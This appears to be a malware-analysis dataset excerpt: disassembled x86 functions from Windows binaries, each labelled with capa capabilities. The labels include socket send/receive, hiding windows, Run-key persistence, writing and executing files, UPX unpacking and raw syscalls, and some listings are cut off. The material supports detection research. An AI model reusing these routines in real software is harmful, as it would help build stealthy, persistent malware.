joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d780
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403a84
mov eax, dword [ebp - 8]
call fcn.00403a84
xor eax, eax
push ebp
push 0x40d995
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x41ab14
mov edx, 0x40d9b0
call fcn.00403770
mov eax, dword [ebp - 4]
call fcn.00403894
test eax, eax
jle 0x40d825
lea eax, [ebp - 4]
mov edx, 0x40d9f8
call fcn.0040389c
push 0
mov eax, dword [ebp - 4]
call fcn.00403894
push eax
lea eax, [ebp - 4]
call fcn.00403aec
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_send
mov edi, eax
test bl, bl
jne 0x40d825
mov edx, esi
mov eax, edi
call fcn.00405350
jmp 0x40d96a
lea eax, [ebp - 0x108]
xor ecx, ecx
mov edx, 0xff
call fcn.00402bd8
push 0
push 0xff
lea eax, [ebp - 0x108]
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_recv
mov edi, eax
inc edi
je 0x40d914
mov eax, esi
lea edx, [ebp - 0x108]
mov ecx, pe_nt_image_headers32
call fcn.0040387c
mov eax, dword [ebp - 8]
call fcn.00403894
cmp eax, 3
jne 0x40d96a
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, byte [ebp - 0x108]
jne 0x40d8aa
mov eax, dword [ebp - 8]
mov al, byte [eax + 1]
cmp al, byte [ebp - 0x107]
jne 0x40d8aa
mov eax, dword [ebp - 8]
mov al, byte [eax + 2]
cmp al, byte [ebp - 0x106]
je 0x40d96a
push 0x40da04
push dword [ebp - 4]
push 0x40da18
push dword [ebp - 8]
push 0x40da2c
push 0x40d9f8
push dword [esi]
push 0x40d9f8
push dword [0x41ab7c]
lea eax, [ebp - 0x10c]
mov edx, 9
call fcn.00403954
mov eax, dword [ebp - 0x10c]
call fcn.004170e8
mov eax, 0x41ab14
mov edx, 0x40da38
call fcn.00403770
mov eax, dword [ebp + 0xc]
add eax, 0xfffffffc
call fcn.0040622c
mov eax, esi
mov edx, 0x40da9c
call fcn.00403770
jmp 0x40d96a
mov eax, 0x41ab14
mov edx, 0x40daa8
call fcn.00403770
mov eax, esi
mov edx, 0x40da9c
call fcn.00403770
push 0x40db64
push dword [ebp - 4]
push 0x40d9f8
lea edx, [ebp - 0x114]
xor eax, eax
call fcn.0040623c
push dword [ebp - 0x114]
lea eax, [ebp - 0x110]
mov edx, 4
call fcn.00403954
mov eax, dword [ebp - 0x110]
call fcn.004170e8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d99c
lea eax, [ebp - 0x114]
mov edx, 3
call fcn.00403740
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret
Function at 0x40e400
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0
push 0x40e440
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40e44c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40e46c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x40f688
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40f72d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xfa
lea eax, [ebp - 0x104]
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 4]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.0040387c
mov eax, 0x41ab14
mov edx, 0x40f744
call fcn.00403770
mov edx, dword [ebp - 4]
mov eax, 0x40f7dc
call fcn.00403b7c
test eax, eax
jne 0x40f715
mov edx, dword [ebp - 4]
mov eax, 0x40f7ec
call fcn.00403b7c
test eax, eax
jne 0x40f715
mov edx, dword [ebp - 4]
mov eax, 0x40f800
call fcn.00403b7c
test eax, eax
jne 0x40f715
xor ebx, ebx
jmp 0x40f717
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f734
lea eax, [ebp - 4]
call fcn.0040371c
ret

Function at 0x40f810
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x40f818
push ecx
push ebx
push esi
xor eax, eax
push ebp
push 0x40fb53
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x41ab14
mov edx, 0x40fb6c
call fcn.00403770
mov byte [ebp - 1], 0
push 1
push 0
push 0
lea eax, [ebp - 0x14]
mov ecx, dword [0x41aaf0]
mov edx, 0x40fbc8
call fcn.004038e0
mov eax, dword [ebp - 0x14]
call fcn.00403a94
push eax
push 0x40fbd0
push 0
call sub.shell32.dll_ShellExecuteA
mov ebx, eax
cmp ebx, 0x20
jae 0x40f8b5
push 0x40fbe0
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.00405370
push dword [ebp - 0x1c]
push 0x40fbf4
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.0040623c
push dword [ebp - 0x20]
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
mov eax, dword [ebp - 0x18]
call fcn.004170e8
xor ebx, ebx
call fcn.0040f688
test al, al
jne 0x40f8d0
inc ebx
push 0x258
call sub.kernel32.dll_Sleep
cmp bl, 0xa
jb 0x40f8b7
xor esi, esi
cmp bl, 0xa
jb 0x40f950
push 0
push 0x40fbf8
inc eax
add al, ch
ror dword [edi - 1], 1
dec dword [ebx + 0x75f685f0]
push cs
Function at 0x413b90
Capabilities:
Find taskbar
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x413d43
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 8]
xor eax, eax
call fcn.0040272c
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.004053d4
mov edx, dword [ebp - 4]
mov eax, 0x41aae8
call fcn.00403770
cmp byte [0x41ab59], 0
jne 0x413bec
mov eax, dword [0x41aae8]
push eax
mov ecx, 0x413d58
mov edx, 0x413d68
mov eax, 0x80000002
call fcn.00406898
cmp byte [0x41ab59], 0
je 0x413bff
call fcn.00414064
jmp 0x413d28
mov eax, 0x41ab14
mov edx, 0x413db0
call fcn.00403770
xor ebx, ebx
push 0
push 0x413de0
call sub.user32.dll_FindWindowA
mov ebx, eax
test ebx, ebx
jne 0x413c2e
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x413c10
mov eax, 0x41ab14
mov edx, 0x413df8
call fcn.00403770
push 0xea60
call sub.kernel32.dll_Sleep
push 0
push 0x413e74
push 0
push ebx
call sub.user32.dll_FindWindowExA
mov ebx, eax
mov eax, 0x41ab14
mov edx, 0x413e84
call fcn.00403770
push 0x413ea4
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
jne 0x413c83
push 0x413eb0
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x413ce8
push 0x413ebc
push esi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x413ce8
call eax
push 0xbb8
call sub.kernel32.dll_Sleep
push 0
push 0xd
push pe_nt_image_headers32
push ebx
call sub.user32.dll_SendMessageA
push 0x1f4
call sub.kernel32.dll_Sleep
push 0
push 0xd
push 0x101
push ebx
call sub.user32.dll_SendMessageA
push 0xc8
call sub.kernel32.dll_Sleep
mov eax, 0x413ed4
call fcn.00404d98
push 0x3e8
call sub.kernel32.dll_Sleep
mov eax, 0x41ab14
mov edx, 0x413ee4
call fcn.00403770
mov edx, 0x413fa4
mov eax, 0x41ab6c
mov ecx, 0xbb8
call fcn.0040660c
test al, al
je 0x413d28
call fcn.00414064
mov eax, 0x41ab14
mov edx, 0x413fd4
call fcn.00403770
call fcn.00416d1c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x413d4a
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403740
ret
Function at 0x414064
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Hide graphical window
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2f
push 0
push 0
dec ecx
jne 0x41406c
push ebx
push esi
push edi
mov esi, 0x41aadc
mov edi, 0x41ab14
mov ebx, 0x41ab5b
xor eax, eax
push ebp
push 0x4156ad
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, 0x4156c4
call fcn.00403770
cmp byte [0x41ab5c], 0x66
jne 0x4140f7
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x415748
mov edx, 0x415758
mov eax, 0x80000002
call fcn.004067c4
mov edx, dword [ebp - 4]
mov eax, 0x41aae8
call fcn.00403770
cmp byte [0x41ab59], 0
jne 0x4140f7
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x41aae8]
call fcn.00406664
mov byte [ebx], al
mov edx, 0x415758
mov ecx, 0x415748
mov eax, 0x80000002
call fcn.00406c8c
lea eax, [ebp - 8]
call fcn.00406508
mov edx, dword [ebp - 8]
mov eax, 0x41aad8
call fcn.00403770
lea eax, [ebp - 0xc]
call fcn.00406574
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403770
mov eax, 0x41aae0
mov ecx, 0x4157a0
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [0x41aae8]
call fcn.00403894
test eax, eax
jne 0x414162
mov eax, 0x41aae8
mov ecx, 0x4157b0
mov edx, dword [esi]
call fcn.004038e0
mov eax, 0x4191e4
mov ecx, dword [0x4191e4]
mov edx, dword [esi]
call fcn.004038e0
mov eax, edi
mov edx, 0x4157c0
call fcn.00403770
mov eax, 0x41aad0
mov ecx, 0x4157ec
mov edx, dword [0x4191e4]
call fcn.004038e0
mov eax, edi
mov edx, 0x415800
call fcn.00403770
mov eax, 0x41aad4
mov ecx, 0x4158c8
mov edx, dword [0x4191e4]
call fcn.004038e0
xor eax, eax
mov dword [0x41ab60], eax
call fcn.00416eec
mov eax, edi
mov edx, 0x4158dc
call fcn.00403770
cmp byte [0x41ab59], 0
je 0x41441c
mov eax, 0x4159b4
call fcn.00405b98
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.004066e4
mov eax, edi
mov edx, 0x4159cc
call fcn.00403770
lea eax, [ebp - 0x10]
mov ecx, 0x4159f4
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x10]
call fcn.00405a4c
lea eax, [ebp - 0x14]
mov ecx, 0x415a08
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x14]
call fcn.00405a4c
mov eax, dword [0x41aad0]
call fcn.00405a4c
mov ecx, 0x4157b0
mov edx, 0x415a1c
mov eax, 0x80000002
call fcn.00406c8c
mov ecx, 0x4157b0
mov edx, 0x415a54
mov eax, 0x80000002
call fcn.00406c8c
mov ecx, 0x4157b0
mov edx, 0x415a94
mov eax, 0x80000001
call fcn.00406c8c
mov edx, 0x415a1c
mov ecx, 0x415adc
mov eax, 0x80000001
call fcn.00406c8c
mov edx, 0x415a94
mov ecx, 0x415aec
mov eax, 0x80000002
call fcn.00406c8c
lea eax, [ebp - 0x18]
mov ecx, 0x415afc
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x18]
call fcn.00405a4c
lea eax, [ebp - 0x1c]
mov ecx, 0x415b10
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x1c]
call fcn.00405a4c
lea eax, [ebp - 0x20]
mov ecx, 0x415b24
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.00405a4c
lea eax, [ebp - 0x24]
mov ecx, 0x415b38
mov edx, dword [esi]
call fcn.004038e0
Function at 0x4170e8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a84
xor eax, eax
push ebp
push 0x4171df
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x41ab60], 0
jne 0x41711a
call fcn.00416eec
push 2
push 0
push 0
mov eax, dword [0x41ab60]
push eax
call sub.kernel32.dll_SetFilePointer_1
cmp eax, 0xffffffff
jne 0x417135
call fcn.00416eec
lea edx, [ebp - 0xc]
mov al, byte [0x41ab5a]
call fcn.00405410
push dword [ebp - 0xc]
push 0x4171f8
push dword [ebp - 4]
push 0x417204
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403954
mov eax, 0x41ab14
mov edx, 0x417210
call fcn.00403770
mov byte [0x41ab5a], 0
mov eax, 0x41ab14
mov edx, 0x417270
call fcn.00403770
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00403894
push eax
lea eax, [ebp - 4]
call fcn.00403aec
push eax
mov eax, dword [0x41ab60]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
jne 0x4171b2
mov dword [ebp - 8], 0xffffffff
mov eax, 0x41ab14
mov edx, 0x41730c
call fcn.00403770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4171e6
lea eax, [ebp - 0xc]
call fcn.0040371c
lea eax, [ebp - 4]
call fcn.0040371c
ret
Function at 0x4281f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18000]
push edi
jmp 0x42820a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x428211
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x428200
mov eax, 1
add ebx, ebx
jne 0x428223
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x428234
jne 0x428244
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x428244
dec eax
add ebx, ebx
jne 0x428240
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x428218
xor ecx, ecx
sub eax, 3
jb 0x42825c
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4282ce
sar eax, 1
mov ebp, eax
jmp 0x428267
add ebx, ebx
jne 0x428267
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x428274
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x428298
inc ecx
add ebx, ebx
jne 0x428284
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x428279
jne 0x428295
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428279
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4282b8
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4282a9
jmp 0x428206
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4282b8
add edi, ecx
jmp 0x428206
pop esi
mov edi, esi
mov ecx, 0xc75
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4282d6
cmp byte [edi], 1
jne 0x4282d6
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4282db
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x42834a
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2d8c0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2d960]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x428308
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2d964]
or eax, eax
je 0x428344
mov dword [ebx], eax
add ebx, 4
jmp 0x428325
call dword [esi + 0x2d974]
mov ebp, dword [esi + 0x2d968]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42837e
sub esp, 0xffffff80
jmp 0x407acc
Function at 0xace370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xace38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xaf7074
push ecx
mov edi, eax
call fcn.00ae2198
mov esi, eax
add esp, 8
test esi, esi
jne 0xace3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00ae202e
push esi
call fcn.00ae1fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xad1850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xad18ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xafc720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xad18ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00ae21e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xad18ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xafc720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xad192a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00ae3082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xad1957
mov word [eax], si
add eax, 2
push eax
call fcn.00ae3030
add esp, 4
jmp 0xad1959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xad18ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xad18b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xad1ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xad2080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xad20c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xaf7458
push ecx
call fcn.00ae21e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00ae21e1
add esp, 0x10
jmp 0xad20d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00ae220b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00ae1dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00ad2050
mov eax, dword [0xafc728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xad213b
push esi
call fcn.00ad1fb0
add esp, 4
mov dword [0xafc728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xad214c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00ad1ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xad5440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xad54b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xad548e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xad5471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xad547e
add edx, ecx
cmp ebx, edx
jb 0xad548a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xad5467
xor ecx, ecx
jmp 0xad54a2
test eax, eax
jne 0xad5492
xor ecx, ecx
jmp 0xad54a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00ad53c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xad58f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xad5921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xad5946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xad596e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xad5993
push ecx
push esi
call fcn.00ad54c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret
Function at 0xad6c00
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
xor ecx, ecx
mov cx, word [eax + 0x14]
xor esi, esi
mov si, word [eax + 6]
push edi
xor edi, edi
lea ecx, [ecx + eax + 0x18]
test esi, esi
jbe 0xad6c4a
mov ebx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
test eax, eax
jne 0xad6c2b
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx + 0xc]
cmp ebx, edx
jb 0xad6c38
add edx, eax
cmp ebx, edx
jb 0xad6c46
inc edi
add ecx, 0x28
cmp edi, esi
jb 0xad6c21
pop edi
pop esi
xor eax, eax
pop ebx
ret
test ecx, ecx
jne 0xad6c50
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0xc]
mov ecx, dword [esp + 0x18]
sub eax, esi
add eax, ebx
pop edi
pop esi
add eax, ecx
pop ebx
ret

Function at 0xad6c70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xad6cb0
mov ebx, dword [esp + 0x10]
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xad6c9b
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xad6ca8
add edx, ecx
cmp ebx, edx
jb 0xad6cb2
inc edi
add eax, 0x28
cmp edi, esi
jb 0xad6c91
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0xad6f60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00ae3145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0xad6ffb
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0xad6fdd
lea eax, [esp + 0x18]
push eax
jmp 0xad6fe2
push 0xafc720
call fcn.00ae2fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0xad6fb0
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0xad6f40
push 4
push ecx
push eax
call fcn.00ae343f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret
Function at 0xad7310
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x210
push ebp
push esi
push edi
mov edi, dword [esp + 0x224]
push 0
push 0
mov ebp, dword [esp + 0x228]
push 0
push 0
push 0
push 0
push 0
push edi
push 0
push 0
push 0
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [edi]
shl eax, 2
push eax
call fcn.00ae3145
mov ecx, dword [edi]
add esp, 4
xor esi, esi
mov dword [esp + 0xc], eax
test ecx, ecx
jbe 0xad73ab
push ebx
mov ebx, eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x28]
push ecx
push edx
push esi
push ebp
mov dword [esp + 0x34], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0xad738d
lea eax, [esp + 0x18]
push eax
jmp 0xad7392
push 0xafc720
call fcn.00ae2fd9
add esp, 4
mov dword [ebx], eax
mov eax, dword [edi]
inc esi
add ebx, 4
cmp esi, eax
jb 0xad7360
mov eax, dword [esp + 0x10]
pop ebx
mov ecx, dword [edi]
push 0xad6f40
push 4
push ecx
push eax
call fcn.00ae343f
mov eax, dword [esp + 0x1c]
add esp, 0x10
pop edi
pop esi
pop ebp
add esp, 0x210
ret